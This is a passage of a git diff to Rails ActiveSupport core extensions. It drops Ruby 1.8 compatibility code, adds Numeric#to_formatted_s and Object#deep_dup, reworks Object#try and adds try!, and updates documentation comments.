+  #
+  #   module M
+  #     X = 1
+  #   end
+  #   M.local_constant_names # => ["X"]
+  #
+  # This method is useful for forward compatibility, since Ruby 1.8 returns
+  # constant names as strings, whereas 1.9 returns them as symbols.
   def local_constant_names
+    ActiveSupport::Deprecation.warn 'Module#local_constant_names is deprecated, use Module#local_constants instead', caller
     local_constants.map { |c| c.to_s }
   end
 end
diff --git a/activesupport/lib/active_support/core_ext/module/method_names.rb b/activesupport/lib/active_support/core_ext/module/method_names.rb
deleted file mode 100644
index 2eb40a83ab..0000000000
--- a/activesupport/lib/active_support/core_ext/module/method_names.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-class Module
-  if instance_methods[0].is_a?(Symbol)
-    def instance_method_names(*args)
-      instance_methods(*args).map(&:to_s)
-    end
-
-    def method_names(*args)
-      methods(*args).map(&:to_s)
-    end
-  else
-    alias_method :instance_method_names, :instance_methods
-    alias_method :method_names, :methods
-  end
-end
\ No newline at end of file
diff --git a/activesupport/lib/active_support/core_ext/module/qualified_const.rb b/activesupport/lib/active_support/core_ext/module/qualified_const.rb
index d1a0ee2f83..65525013db 100644
--- a/activesupport/lib/active_support/core_ext/module/qualified_const.rb
+++ b/activesupport/lib/active_support/core_ext/module/qualified_const.rb
@@ -5,7 +5,7 @@ require 'active_support/core_ext/string/inflections'
 #++
 module QualifiedConstUtils
   def self.raise_if_absolute(path)
-    raise NameError, "wrong constant name #$&" if path =~ /\A::[^:]+/
+    raise NameError.new("wrong constant name #$&") if path =~ /\A::[^:]+/
   end
 
   def self.names(path)
@@ -20,29 +20,17 @@ end
 #--
 # Qualified names are required to be relative because we are extending existing
 # methods that expect constant names, ie, relative paths of length 1. For example,
-# Object.const_get("::String") raises NameError and so does qualified_const_get.
+# Object.const_get('::String') raises NameError and so does qualified_const_get.
 #++
 class Module
-  if method(:const_defined?).arity == 1
-    def qualified_const_defined?(path)
-      QualifiedConstUtils.raise_if_absolute(path)
-
-      QualifiedConstUtils.names(path).inject(self) do |mod, name|
-        return unless mod.const_defined?(name)
-        mod.const_get(name)
-      end
-      return true
-    end
-  else
-    def qualified_const_defined?(path, search_parents=true)
-      QualifiedConstUtils.raise_if_absolute(path)
+  def qualified_const_defined?(path, search_parents=true)
+    QualifiedConstUtils.raise_if_absolute(path)
 
-      QualifiedConstUtils.names(path).inject(self) do |mod, name|
-        return unless mod.const_defined?(name, search_parents)
-        mod.const_get(name)
-      end
-      return true
+    QualifiedConstUtils.names(path).inject(self) do |mod, name|
+      return unless mod.const_defined?(name, search_parents)
+      mod.const_get(name)
     end
+    return true
   end
 
   def qualified_const_get(path)
diff --git a/activesupport/lib/active_support/core_ext/module/remove_method.rb b/activesupport/lib/active_support/core_ext/module/remove_method.rb
index b76bc16ee1..719071d1c2 100644
--- a/activesupport/lib/active_support/core_ext/module/remove_method.rb
+++ b/activesupport/lib/active_support/core_ext/module/remove_method.rb
@@ -1,12 +1,8 @@
 class Module
   def remove_possible_method(method)
     if method_defined?(method) || private_method_defined?(method)
-      remove_method(method)
+      undef_method(method)
     end
-  rescue NameError
-    # If the requested method is defined on a superclass or included module,
-    # method_defined? returns true but remove_method throws a NameError.
-    # Ignore this.
   end
 
   def redefine_method(method, &block)
diff --git a/activesupport/lib/active_support/core_ext/module/synchronization.rb b/activesupport/lib/active_support/core_ext/module/synchronization.rb
deleted file mode 100644
index ed16c2f71b..0000000000
--- a/activesupport/lib/active_support/core_ext/module/synchronization.rb
+++ /dev/null
@@ -1,43 +0,0 @@
-require 'thread'
-require 'active_support/core_ext/module/aliasing'
-require 'active_support/core_ext/array/extract_options'
-
-class Module
-  # Synchronize access around a method, delegating synchronization to a
-  # particular mutex. A mutex (either a Mutex, or any object that responds to
-  # #synchronize and yields to a block) must be provided as a final :with option.
-  # The :with option should be a symbol or string, and can represent a method,
-  # constant, or instance or class variable.
-  # Example:
-  #   class SharedCache
-  #     @@lock = Mutex.new
-  #     def expire
-  #       ...
-  #     end
-  #     synchronize :expire, :with => :@@lock
-  #   end
-  def synchronize(*methods)
-    options = methods.extract_options!
-    unless options.is_a?(Hash) && with = options[:with]
-      raise ArgumentError, "Synchronization needs a mutex. Supply an options hash with a :with key as the last argument (e.g. synchronize :hello, :with => :@mutex)."
-    end
-
-    methods.each do |method|
-      aliased_method, punctuation = method.to_s.sub(/([?!=])$/, ''), $1
-
-      if method_defined?("#{aliased_method}_without_synchronization#{punctuation}")
-        raise ArgumentError, "#{method} is already synchronized. Double synchronization is not currently supported."
-      end
-
-      module_eval(<<-EOS, __FILE__, __LINE__ + 1)
-        def #{aliased_method}_with_synchronization#{punctuation}(*args, &block)     # def expire_with_synchronization(*args, &block)
-          #{with}.synchronize do                                                    #   @@lock.synchronize do
-            #{aliased_method}_without_synchronization#{punctuation}(*args, &block)  #     expire_without_synchronization(*args, &block)
-          end                                                                       #   end
-        end                                                                         # end
-      EOS
-
-      alias_method_chain method, :synchronization
-    end
-  end
-end
diff --git a/activesupport/lib/active_support/core_ext/numeric.rb b/activesupport/lib/active_support/core_ext/numeric.rb
index 3805cf7990..a6bc0624be 100644
--- a/activesupport/lib/active_support/core_ext/numeric.rb
+++ b/activesupport/lib/active_support/core_ext/numeric.rb
@@ -1,2 +1,3 @@
 require 'active_support/core_ext/numeric/bytes'
 require 'active_support/core_ext/numeric/time'
+require 'active_support/core_ext/numeric/conversions'
diff --git a/activesupport/lib/active_support/core_ext/numeric/conversions.rb b/activesupport/lib/active_support/core_ext/numeric/conversions.rb
new file mode 100644
index 0000000000..2bbfa78639
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/numeric/conversions.rb
@@ -0,0 +1,135 @@
+require 'active_support/core_ext/big_decimal/conversions'
+require 'active_support/number_helper'
+
+class Numeric
+
+  # Provides options for converting numbers into formatted strings.
+  # Options are provided for phone numbers, currency, percentage,
+  # precision, positional notation, file size and pretty printing.
+  #
+  # ==== Options
+  #
+  # For details on which formats use which options, see ActiveSupport::NumberHelper
+  #
+  # ==== Examples
+  #
+  #  Phone Numbers:
+  #  5551234.to_s(:phone)                                           # => 555-1234
+  #  1235551234.to_s(:phone)                                        # => 123-555-1234
+  #  1235551234.to_s(:phone, :area_code => true)                    # => (123) 555-1234
+  #  1235551234.to_s(:phone, :delimiter => " ")                     # => 123 555 1234
+  #  1235551234.to_s(:phone, :area_code => true, :extension => 555) # => (123) 555-1234 x 555
+  #  1235551234.to_s(:phone, :country_code => 1)                    # => +1-123-555-1234
+  #  1235551234.to_s(:phone, :country_code => 1, :extension => 1343, :delimiter => ".")
+  #  # => +1.123.555.1234 x 1343
+  #
+  #  Currency:
+  #  1234567890.50.to_s(:currency)                    # => $1,234,567,890.50
+  #  1234567890.506.to_s(:currency)                   # => $1,234,567,890.51
+  #  1234567890.506.to_s(:currency, :precision => 3)  # => $1,234,567,890.506
+  #  1234567890.506.to_s(:currency, :locale => :fr)   # => 1 234 567 890,51 €
+  #  -1234567890.50.to_s(:currency, :negative_format => "(%u%n)")
+  #  # => ($1,234,567,890.50)
+  #  1234567890.50.to_s(:currency, :unit => "&pound;", :separator => ",", :delimiter => "")
+  #  # => &pound;1234567890,50
+  #  1234567890.50.to_s(:currency, :unit => "&pound;", :separator => ",", :delimiter => "", :format => "%n %u")
+  #  # => 1234567890,50 &pound;
+  #
+  #  Percentage:
+  #  100.to_s(:percentage)                                        # => 100.000%
+  #  100.to_s(:percentage, :precision => 0)                       # => 100%
+  #  1000.to_s(:percentage, :delimiter => '.', :separator => ',') # => 1.000,000%
+  #  302.24398923423.to_s(:percentage, :precision => 5)           # => 302.24399%
+  #  1000.to_s(:percentage, :locale => :fr)                       # => 1 000,000%
+  #  100.to_s(:percentage, :format => "%n  %")                    # => 100  %
+  #
+  #  Delimited:
+  #  12345678.to_s(:delimited)                        # => 12,345,678
+  #  12345678.05.to_s(:delimited)                     # => 12,345,678.05
+  #  12345678.to_s(:delimited, :delimiter => ".")     # => 12.345.678
+  #  12345678.to_s(:delimited, :delimiter => ",")     # => 12,345,678
+  #  12345678.05.to_s(:delimited, :separator => " ")  # => 12,345,678 05
+  #  12345678.05.to_s(:delimited, :locale => :fr)     # => 12 345 678,05
+  #  98765432.98.to_s(:delimited, :delimiter => " ", :separator => ",")
+  #  # => 98 765 432,98
+  #
+  #  Rounded:
+  #  111.2345.to_s(:rounded)                                            # => 111.235
+  #  111.2345.to_s(:rounded, :precision => 2)                           # => 111.23
+  #  13.to_s(:rounded, :precision => 5)                                 # => 13.00000
+  #  389.32314.to_s(:rounded, :precision => 0)                          # => 389
+  #  111.2345.to_s(:rounded, :significant => true)                      # => 111
+  #  111.2345.to_s(:rounded, :precision => 1, :significant => true)     # => 100
+  #  13.to_s(:rounded, :precision => 5, :significant => true)           # => 13.000
+  #  111.234.to_s(:rounded, :locale => :fr)                             # => 111,234
+  #  13.to_s(:rounded, :precision => 5, :significant => true, :strip_insignificant_zeros => true)
+  #  # => 13
+  #  389.32314.to_s(:rounded, :precision => 4, :significant => true)    # => 389.3
+  #  1111.2345.to_s(:rounded, :precision => 2, :separator => ',', :delimiter => '.')
+  #  # => 1.111,23
+  #
+  #  Human-friendly size in Bytes:
+  #  123.to_s(:human_size)                                          # => 123 Bytes
+  #  1234.to_s(:human_size)                                         # => 1.21 KB
+  #  12345.to_s(:human_size)                                        # => 12.1 KB
+  #  1234567.to_s(:human_size)                                      # => 1.18 MB
+  #  1234567890.to_s(:human_size)                                   # => 1.15 GB
+  #  1234567890123.to_s(:human_size)                                # => 1.12 TB
+  #  1234567.to_s(:human_size, :precision => 2)                     # => 1.2 MB
+  #  483989.to_s(:human_size, :precision => 2)                      # => 470 KB
+  #  1234567.to_s(:human_size, :precision => 2, :separator => ',')  # => 1,2 MB
+  #  1234567890123.to_s(:human_size, :precision => 5)        # => "1.1229 TB"
+  #  524288000.to_s(:human_size, :precision => 5)            # => "500 MB"
+  #
+  #  Human-friendly format:
+  #  123.to_s(:human)                                          # => "123"
+  #  1234.to_s(:human)                                         # => "1.23 Thousand"
+  #  12345.to_s(:human)                                        # => "12.3 Thousand"
+  #  1234567.to_s(:human)                                      # => "1.23 Million"
+  #  1234567890.to_s(:human)                                   # => "1.23 Billion"
+  #  1234567890123.to_s(:human)                                # => "1.23 Trillion"
+  #  1234567890123456.to_s(:human)                             # => "1.23 Quadrillion"
+  #  1234567890123456789.to_s(:human)                          # => "1230 Quadrillion"
+  #  489939.to_s(:human, :precision => 2)                      # => "490 Thousand"
+  #  489939.to_s(:human, :precision => 4)                      # => "489.9 Thousand"
+  #  1234567.to_s(:human, :precision => 4,
+  #                   :significant => false)                   # => "1.2346 Million"
+  #  1234567.to_s(:human, :precision => 1,
+  #                   :separator => ',',
+  #                   :significant => false)                   # => "1,2 Million"
+  def to_formatted_s(format = :default, options = {})
+    case format
+    when :phone
+      return ActiveSupport::NumberHelper.number_to_phone(self, options)
+    when :currency
+      return ActiveSupport::NumberHelper.number_to_currency(self, options)
+    when :percentage
+      return ActiveSupport::NumberHelper.number_to_percentage(self, options)
+    when :delimited
+      return ActiveSupport::NumberHelper.number_to_delimited(self, options)
+    when :rounded
+      return ActiveSupport::NumberHelper.number_to_rounded(self, options)
+    when :human
+      return ActiveSupport::NumberHelper.number_to_human(self, options)
+    when :human_size
+      return ActiveSupport::NumberHelper.number_to_human_size(self, options)
+    else
+      self.to_default_s
+    end
+  end
+
+  [Float, Fixnum, Bignum, BigDecimal].each do |klass|
+    klass.send(:alias_method, :to_default_s, :to_s)
+
+    klass.send(:define_method, :to_s) do |*args|
+      if args[0].is_a?(Symbol)
+        format = args[0]
+        options = args[1] || {}
+
+        self.to_formatted_s(format, options)
+      else
+        to_default_s(*args)
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/numeric/time.rb b/activesupport/lib/active_support/core_ext/numeric/time.rb
index 58a03d508e..2bf3d1f278 100644
--- a/activesupport/lib/active_support/core_ext/numeric/time.rb
+++ b/activesupport/lib/active_support/core_ext/numeric/time.rb
@@ -8,13 +8,13 @@ class Numeric
   # These methods use Time#advance for precise date calculations when using from_now, ago, etc.
   # as well as adding or subtracting their results from a Time object. For example:
   #
-  #   # equivalent to Time.now.advance(:months => 1)
+  #   # equivalent to Time.current.advance(:months => 1)
   #   1.month.from_now
   #
-  #   # equivalent to Time.now.advance(:years => 2)
+  #   # equivalent to Time.current.advance(:years => 2)
   #   2.years.from_now
   #
-  #   # equivalent to Time.now.advance(:months => 4, :years => 5)
+  #   # equivalent to Time.current.advance(:months => 4, :years => 5)
   #   (4.months + 5.years).from_now
   #
   # While these methods provide precise calculation when used as in the examples above, care
@@ -28,9 +28,9 @@ class Numeric
   #   1.year.to_f.from_now
   #
   # In such cases, Ruby's core
-  # Date[http://stdlib.rubyonrails.org/libdoc/date/rdoc/index.html] and
-  # Time[http://stdlib.rubyonrails.org/libdoc/time/rdoc/index.html] should be used for precision
-  # date and time arithmetic
+  # Date[http://ruby-doc.org/stdlib/libdoc/date/rdoc/Date.html] and
+  # Time[http://ruby-doc.org/stdlib/libdoc/time/rdoc/Time.html] should be used for precision
+  # date and time arithmetic.
   def seconds
     ActiveSupport::Duration.new(self, [[:seconds, self]])
   end
diff --git a/activesupport/lib/active_support/core_ext/object.rb b/activesupport/lib/active_support/core_ext/object.rb
index 9ad1e12699..ec2157221f 100644
--- a/activesupport/lib/active_support/core_ext/object.rb
+++ b/activesupport/lib/active_support/core_ext/object.rb
@@ -1,6 +1,7 @@
 require 'active_support/core_ext/object/acts_like'
 require 'active_support/core_ext/object/blank'
 require 'active_support/core_ext/object/duplicable'
+require 'active_support/core_ext/object/deep_dup'
 require 'active_support/core_ext/object/try'
 require 'active_support/core_ext/object/inclusion'
 
diff --git a/activesupport/lib/active_support/core_ext/object/blank.rb b/activesupport/lib/active_support/core_ext/object/blank.rb
index fe27f45295..e238fef5a2 100644
--- a/activesupport/lib/active_support/core_ext/object/blank.rb
+++ b/activesupport/lib/active_support/core_ext/object/blank.rb
@@ -1,9 +1,8 @@
 # encoding: utf-8
-require 'active_support/core_ext/string/encoding'
 
 class Object
   # An object is blank if it's false, empty, or a whitespace string.
-  # For example, "", "   ", +nil+, [], and {} are all blank.
+  # For example, '', '   ', +nil+, [], and {} are all blank.
   #
   # This simplifies:
   #
@@ -89,23 +88,15 @@ class Hash
 end
 
 class String
-  # 0x3000: fullwidth whitespace
-  NON_WHITESPACE_REGEXP = %r![^\s#{[0x3000].pack("U")}]!
-
   # A string is blank if it's empty or contains whitespaces only:
   #
-  #   "".blank?                 # => true
-  #   "   ".blank?              # => true
-  #   "　".blank?               # => true
-  #   " something here ".blank? # => false
+  #   ''.blank?                 # => true
+  #   '   '.blank?              # => true
+  #   '　'.blank?               # => true
+  #   ' something here '.blank? # => false
   #
   def blank?
-    # 1.8 does not takes [:space:] properly
-    if encoding_aware?
-      self !~ /[^[:space:]]/
-    else
-      self !~ NON_WHITESPACE_REGEXP
-    end
+    self !~ /[^[:space:]]/
   end
 end
 
diff --git a/activesupport/lib/active_support/core_ext/object/deep_dup.rb b/activesupport/lib/active_support/core_ext/object/deep_dup.rb
new file mode 100644
index 0000000000..f55fbc282e
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/object/deep_dup.rb
@@ -0,0 +1,46 @@
+require 'active_support/core_ext/object/duplicable'
+
+class Object
+  # Returns a deep copy of object if it's duplicable. If it's
+  # not duplicable, returns +self+.
+  #
+  #   object = Object.new
+  #   dup    = object.deep_dup
+  #   dup.instance_variable_set(:@a, 1)
+  #
+  #   object.instance_variable_defined?(:@a) #=> false
+  #   dup.instance_variable_defined?(:@a)    #=> true
+  def deep_dup
+    duplicable? ? dup : self
+  end
+end
+
+class Array
+  # Returns a deep copy of array.
+  #
+  #   array = [1, [2, 3]]
+  #   dup   = array.deep_dup
+  #   dup[1][2] = 4
+  #
+  #   array[1][2] #=> nil
+  #   dup[1][2]   #=> 4
+  def deep_dup
+    map { |it| it.deep_dup }
+  end
+end
+
+class Hash
+  # Returns a deep copy of hash.
+  #
+  #   hash = { a: { b: 'b' } }
+  #   dup  = hash.deep_dup
+  #   dup[:a][:c] = 'c'
+  #
+  #   hash[:a][:c] #=> nil
+  #   dup[:a][:c]  #=> "c"
+  def deep_dup
+    each_with_object(dup) do |(key, value), hash|
+      hash[key.deep_dup] = value.deep_dup
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/object/duplicable.rb b/activesupport/lib/active_support/core_ext/object/duplicable.rb
index 9d044eba71..f1b755c2c4 100644
--- a/activesupport/lib/active_support/core_ext/object/duplicable.rb
+++ b/activesupport/lib/active_support/core_ext/object/duplicable.rb
@@ -19,7 +19,7 @@
 class Object
   # Can you safely dup this object?
   #
-  # False for +nil+, +false+, +true+, symbols, numbers, class and module objects;
+  # False for +nil+, +false+, +true+, symbol, and number objects;
   # true otherwise.
   def duplicable?
     true
@@ -81,26 +81,15 @@ class Numeric
   end
 end
 
-class Class
-  # Classes are not duplicable:
-  #
-  #  c = Class.new # => #<Class:0x10328fd80>
-  #  c.dup         # => #<Class:0x10328fd80>
-  #
-  # Note +dup+ returned the same class object.
-  def duplicable?
-    false
-  end
-end
+require 'bigdecimal'
+class BigDecimal
+  begin
+    BigDecimal.new('4.56').dup
 
-class Module
-  # Modules are not duplicable:
-  #
-  #  m = Module.new # => #<Module:0x10328b6e0>
-  #  m.dup          # => #<Module:0x10328b6e0>
-  #
-  # Note +dup+ returned the same module object.
-  def duplicable?
-    false
+    def duplicable?
+      true
+    end
+  rescue TypeError
+    # can't dup, so use superclass implementation
   end
 end
diff --git a/activesupport/lib/active_support/core_ext/object/inclusion.rb b/activesupport/lib/active_support/core_ext/object/inclusion.rb
index b5671f66d0..3fec465ec0 100644
--- a/activesupport/lib/active_support/core_ext/object/inclusion.rb
+++ b/activesupport/lib/active_support/core_ext/object/inclusion.rb
@@ -1,15 +1,25 @@
 class Object
-  # Returns true if this object is included in the argument. Argument must be
-  # any object which responds to +#include?+. Usage:
+  # Returns true if this object is included in the argument(s). Argument must be
+  # any object which responds to +#include?+ or optionally, multiple arguments can be passed in. Usage:
   #
-  #   characters = ["Konata", "Kagami", "Tsukasa"]
-  #   "Konata".in?(characters) # => true
+  #   characters = ['Konata', 'Kagami', 'Tsukasa']
+  #   'Konata'.in?(characters) # => true
   #
-  # This will throw an ArgumentError if the argument doesn't respond
+  #   character = 'Konata'
+  #   character.in?('Konata', 'Kagami', 'Tsukasa') # => true
+  #
+  # This will throw an ArgumentError if a single argument is passed in and it doesn't respond
   # to +#include?+.
-  def in?(another_object)
-    another_object.include?(self)
-  rescue NoMethodError
-    raise ArgumentError.new("The parameter passed to #in? must respond to #include?")
+  def in?(*args)
+    if args.length > 1
+      args.include? self
+    else
+      another_object = args.first
+      if another_object.respond_to? :include?
+        another_object.include? self
+      else
+        raise ArgumentError.new 'The single parameter passed to #in? must respond to #include?'
+      end
+    end
   end
 end
diff --git a/activesupport/lib/active_support/core_ext/object/instance_variables.rb b/activesupport/lib/active_support/core_ext/object/instance_variables.rb
index eda9694614..40821fd619 100644
--- a/activesupport/lib/active_support/core_ext/object/instance_variables.rb
+++ b/activesupport/lib/active_support/core_ext/object/instance_variables.rb
@@ -1,6 +1,6 @@
 class Object
-  # Returns a hash that maps instance variable names without "@" to their
-  # corresponding values. Keys are strings both in Ruby 1.8 and 1.9.
+  # Returns a hash with string keys that maps instance variable names without "@" to their
+  # corresponding values.
   #
   #   class C
   #     def initialize(x, y)
@@ -9,12 +9,11 @@ class Object
   #   end
   #
   #   C.new(0, 1).instance_values # => {"x" => 0, "y" => 1}
-  def instance_values #:nodoc:
-    Hash[instance_variables.map { |name| [name.to_s[1..-1], instance_variable_get(name)] }]
+  def instance_values
+    Hash[instance_variables.map { |name| [name[1..-1], instance_variable_get(name)] }]
   end
 
-  # Returns an array of instance variable names including "@". They are strings
-  # both in Ruby 1.8 and 1.9.
+  # Returns an array of instance variable names including "@".
   #
   #   class C
   #     def initialize(x, y)
@@ -23,11 +22,7 @@ class Object
   #   end
   #
   #   C.new(0, 1).instance_variable_names # => ["@y", "@x"]
-  if RUBY_VERSION >= '1.9'
-    def instance_variable_names
-      instance_variables.map { |var| var.to_s }
-    end
-  else
-    alias_method :instance_variable_names, :instance_variables
+  def instance_variable_names
+    instance_variables.map { |var| var.to_s }
   end
 end
diff --git a/activesupport/lib/active_support/core_ext/object/to_json.rb b/activesupport/lib/active_support/core_ext/object/to_json.rb
index 14ef27340e..e7dc60a612 100644
--- a/activesupport/lib/active_support/core_ext/object/to_json.rb
+++ b/activesupport/lib/active_support/core_ext/object/to_json.rb
@@ -10,10 +10,10 @@ end
 # several cases (for instance, the JSON implementation for Hash does not work) with inheritance
 # and consequently classes as ActiveSupport::OrderedHash cannot be serialized to json.
 [Object, Array, FalseClass, Float, Hash, Integer, NilClass, String, TrueClass].each do |klass|
-  klass.class_eval <<-RUBY, __FILE__, __LINE__
+  klass.class_eval do
     # Dumps object in JSON (JavaScript Object Notation). See www.json.org for more info.
     def to_json(options = nil)
       ActiveSupport::JSON.encode(self, options)
     end
-  RUBY
+  end
 end
diff --git a/activesupport/lib/active_support/core_ext/object/to_param.rb b/activesupport/lib/active_support/core_ext/object/to_param.rb
index e5f81078ee..0d5f3501e5 100644
--- a/activesupport/lib/active_support/core_ext/object/to_param.rb
+++ b/activesupport/lib/active_support/core_ext/object/to_param.rb
@@ -6,18 +6,21 @@ class Object
 end
 
 class NilClass
+  # Returns +self+.
   def to_param
     self
   end
 end
 
 class TrueClass
+  # Returns +self+.
   def to_param
     self
   end
 end
 
 class FalseClass
+  # Returns +self+.
   def to_param
     self
   end
@@ -35,12 +38,12 @@ class Hash
   # Returns a string representation of the receiver suitable for use as a URL
   # query string:
   #
-  #   {:name => 'David', :nationality => 'Danish'}.to_param
+  #   {name: 'David', nationality: 'Danish'}.to_param
   #   # => "name=David&nationality=Danish"
   #
   # An optional namespace can be passed to enclose the param names:
   #
-  #   {:name => 'David', :nationality => 'Danish'}.to_param('user')
+  #   {name: 'David', nationality: 'Danish'}.to_param('user')
   #   # => "user[name]=David&user[nationality]=Danish"
   #
   # The string pairs "key=value" that conform the query string
diff --git a/activesupport/lib/active_support/core_ext/object/try.rb b/activesupport/lib/active_support/core_ext/object/try.rb
index e77a9da0ec..1079ddde98 100644
--- a/activesupport/lib/active_support/core_ext/object/try.rb
+++ b/activesupport/lib/active_support/core_ext/object/try.rb
@@ -1,13 +1,18 @@
 class Object
-  # Invokes the method identified by the symbol +method+, passing it any arguments
-  # and/or the block specified, just like the regular Ruby <tt>Object#send</tt> does.
+  # Invokes the public method identified by the symbol +method+, passing it any arguments
+  # and/or the block specified, just like the regular Ruby <tt>Object#public_send</tt> does.
   #
   # *Unlike* that method however, a +NoMethodError+ exception will *not* be raised
   # and +nil+ will be returned instead, if the receiving object is a +nil+ object or NilClass.
   #
+  # This is also true if the receiving object does not implemented the tried method. It will
+  # return +nil+ in that case as well.
+  #
   # If try is called without a method to call, it will yield any given block with the object.
   #
-  # ==== Examples
+  # Please also note that +try+ is defined on +Object+, therefore it won't work with
+  # subclasses of +BasicObject+. For example, using try with +SimpleDelegator+ will
+  # delegate +try+ to target instead of calling it on delegator itself.
   #
   # Without +try+
   #   @person && @person.name
@@ -23,13 +28,23 @@ class Object
   #
   # Without a method argument try will yield to the block unless the receiver is nil.
   #   @person.try { |p| "#{p.first_name} #{p.last_name}" }
-  #--
-  # +try+ behaves like +Object#send+, unless called on +NilClass+.
+  #
+  # +try+ behaves like +Object#public_send+, unless called on +NilClass+.
   def try(*a, &b)
     if a.empty? && block_given?
       yield self
     else
-      __send__(*a, &b)
+      public_send(*a, &b) if respond_to?(a.first)
+    end
+  end
+
+  # Same as #try, but will raise a NoMethodError exception if the receiving is not nil and
+  # does not implemented the tried method.
+  def try!(*a, &b)
+    if a.empty? && block_given?
+      yield self
+    else
+      public_send(*a, &b)
     end
   end
 end
@@ -38,8 +53,6 @@ class NilClass
   # Calling +try+ on +nil+ always returns +nil+.
   # It becomes specially helpful when navigating through associations that may return +nil+.
   #
-  # === Examples
-  #
   #   nil.try(:name) # => nil
   #
   # Without +try+
@@ -50,4 +63,8 @@ class NilClass
   def try(*args)
     nil
   end
+
+  def try!(*args)
+    nil
+  end
 end
diff --git a/activesupport/lib/active_support/core_ext/object/with_options.rb b/activesupport/lib/active_support/core_ext/object/with_options.rb
index 1397142c04..e058367111 100644
--- a/activesupport/lib/active_support/core_ext/object/with_options.rb
+++ b/activesupport/lib/active_support/core_ext/object/with_options.rb
@@ -29,7 +29,7 @@ class Object
   #
   # It can also be used with an explicit receiver:
   #
-  #   I18n.with_options :locale => user.locale, :scope => "newsletter" do |i18n|
+  #   I18n.with_options :locale => user.locale, :scope => 'newsletter' do |i18n|
   #     subject i18n.t :subject
   #     body    i18n.t :body, :user_name => user.name
   #   end
diff --git a/activesupport/lib/active_support/core_ext/proc.rb b/activesupport/lib/active_support/core_ext/proc.rb
index 94bb5fb0cb..cd63740940 100644
--- a/activesupport/lib/active_support/core_ext/proc.rb
+++ b/activesupport/lib/active_support/core_ext/proc.rb
@@ -1,7 +1,10 @@
 require "active_support/core_ext/kernel/singleton_class"
+require "active_support/deprecation"
 
 class Proc #:nodoc:
   def bind(object)
+    ActiveSupport::Deprecation.warn 'Proc#bind is deprecated and will be removed in future versions', caller
+
     block, time = self, Time.now
     object.class_eval do
       method_name = "__bind_#{time.to_i}_#{time.usec}"
diff --git a/activesupport/lib/active_support/core_ext/process.rb b/activesupport/lib/active_support/core_ext/process.rb
deleted file mode 100644
index 0b0bc6dc69..0000000000
--- a/activesupport/lib/active_support/core_ext/process.rb
+++ /dev/null
@@ -1 +0,0 @@
-require 'active_support/core_ext/process/daemon'
diff --git a/activesupport/lib/active_support/core_ext/process/daemon.rb b/activesupport/lib/active_support/core_ext/process/daemon.rb
deleted file mode 100644
index f5202ddee4..0000000000
--- a/activesupport/lib/active_support/core_ext/process/daemon.rb
+++ /dev/null
@@ -1,23 +0,0 @@
-module Process
-  def self.daemon(nochdir = nil, noclose = nil)
-    exit if fork                     # Parent exits, child continues.
-    Process.setsid                   # Become session leader.
-    exit if fork                     # Zap session leader. See [1].
-
-    unless nochdir
-      Dir.chdir "/"                  # Release old working directory.
-    end
-
-    File.umask 0000                  # Ensure sensible umask. Adjust as needed.
-
-    unless noclose
-      STDIN.reopen "/dev/null"       # Free file descriptors and
-      STDOUT.reopen "/dev/null", "a" # point them somewhere sensible.
-      STDERR.reopen '/dev/null', 'a'
-    end
-
-    trap("TERM") { exit }
-
-    return 0
-  end unless respond_to?(:daemon)
-end
diff --git a/activesupport/lib/active_support/core_ext/range.rb b/activesupport/lib/active_support/core_ext/range.rb
index 2428a02242..1d8b1ede5a 100644
--- a/activesupport/lib/active_support/core_ext/range.rb
+++ b/activesupport/lib/active_support/core_ext/range.rb
@@ -1,5 +1,3 @@
-require 'active_support/core_ext/range/blockless_step'
 require 'active_support/core_ext/range/conversions'
 require 'active_support/core_ext/range/include_range'
 require 'active_support/core_ext/range/overlaps'
-require 'active_support/core_ext/range/cover'
diff --git a/activesupport/lib/active_support/core_ext/range/blockless_step.rb b/activesupport/lib/active_support/core_ext/range/blockless_step.rb
deleted file mode 100644
index db42ef5c47..0000000000
--- a/activesupport/lib/active_support/core_ext/range/blockless_step.rb
+++ /dev/null
@@ -1,29 +0,0 @@
-require 'active_support/core_ext/module/aliasing'
-
-class Range
-  begin
-    (1..2).step
-  # Range#step doesn't return an Enumerator
-  rescue LocalJumpError
-    # Return an array when step is called without a block.
-    def step_with_blockless(*args, &block)
-      if block_given?
-        step_without_blockless(*args, &block)
-      else
-        array = []
-        step_without_blockless(*args) { |step| array << step }
-        array
-      end
-    end
-  else
-    def step_with_blockless(*args, &block) #:nodoc:
-      if block_given?
-        step_without_blockless(*args, &block)
-      else
-        step_without_blockless(*args).to_a
-      end
-    end
-  end
-
-  alias_method_chain :step, :blockless
-end
diff --git a/activesupport/lib/active_support/core_ext/range/conversions.rb b/activesupport/lib/active_support/core_ext/range/conversions.rb
index 43134b4314..b1a12781f3 100644
--- a/activesupport/lib/active_support/core_ext/range/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/range/conversions.rb
@@ -5,8 +5,6 @@ class Range
 
   # Gives a human readable format of the range.
   #
-  # ==== Example
-  #
   #   (1..100).to_formatted_s # => "1..100"
   def to_formatted_s(format = :default)
     if formatter = RANGE_FORMATS[format]
diff --git a/activesupport/lib/active_support/core_ext/range/cover.rb b/activesupport/lib/active_support/core_ext/range/cover.rb
deleted file mode 100644
index 3a182cddd2..0000000000
--- a/activesupport/lib/active_support/core_ext/range/cover.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-class Range
-  alias_method(:cover?, :include?) unless instance_methods.include?(:cover?)
-end
diff --git a/activesupport/lib/active_support/core_ext/range/include_range.rb b/activesupport/lib/active_support/core_ext/range/include_range.rb
index 0246627467..3af66aaf2f 100644
--- a/activesupport/lib/active_support/core_ext/range/include_range.rb
+++ b/activesupport/lib/active_support/core_ext/range/include_range.rb
@@ -5,13 +5,13 @@ class Range
   #  (1..5).include?(2..6) # => false
   #
   # The native Range#include? behavior is untouched.
-  #  ("a".."f").include?("c") # => true
+  #  ('a'..'f').include?('c') # => true
   #  (5..9).include?(11) # => false
   def include_with_range?(value)
     if value.is_a?(::Range)
-      operator = exclude_end? ? :< : :<=
-      end_value = value.exclude_end? ? last.succ : last
-      include_without_range?(value.first) && (value.last <=> end_value).send(operator, 0)
+      # 1...10 includes 1..9 but it does not include 1..10.
+      operator = exclude_end? && !value.exclude_end? ? :< : :<=
+      include_without_range?(value.first) && value.last.send(operator, last)
     else
       include_without_range?(value)
     end
